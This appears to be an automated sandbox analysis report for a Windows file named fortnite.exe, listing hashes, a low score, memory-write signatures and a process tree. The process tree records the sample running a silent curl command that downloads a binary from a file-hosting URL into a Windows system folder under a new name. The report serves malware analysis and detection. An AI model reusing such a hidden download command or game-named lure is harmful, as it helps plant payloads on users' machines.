01d4438ab4eb34157102cef468aeafe178500b30a557efb0a14bcf117e7eeb8f | Triage

Analysis

max time kernel
121s
max time network
126s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
17-11-2024 18:59

Sharing

Report Analysis Logs

General

Target

fortnite.exe
Size

1.2MB
MD5

4ce2034a29fa1119013b35414ac146c8
SHA1

1bc3b7ff47f254f3058f8030e7081d48e762b1fc
SHA256

01d4438ab4eb34157102cef468aeafe178500b30a557efb0a14bcf117e7eeb8f
SHA512

9ff48316eff7b1cf2317ce9c363b596a42100c0f2ff3c17f06c3efe8f3f4b8de93072f594c4dfc7f7cdbf9b4c768643448141ca78bab4db28122f88d3ad64e27
SSDEEP

24576:zMbpm9Z/zQfnkuGKF7rlpC+bKlAtc06Du:PrQnIGz

Score

1^/10

Malware Config

Signatures

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2900 wrote to memory of 1396	2900	fortnite.exe	32
PID 2900 wrote to memory of 1396	2900	fortnite.exe	32
PID 2900 wrote to memory of 1396	2900	fortnite.exe	32
PID 2900 wrote to memory of 1452	2900	fortnite.exe	31
PID 2900 wrote to memory of 1452	2900	fortnite.exe	31
PID 2900 wrote to memory of 1452	2900	fortnite.exe	31

C:\Users\Admin\AppData\Local\Temp\fortnite.exe
"C:\Users\Admin\AppData\Local\Temp\fortnite.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2900
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:1452
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl --silent https://files.catbox.moe/t3twl8.bin --output C:\Windows\Speech\physmeme.exe
  2⤵
  PID:1396

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads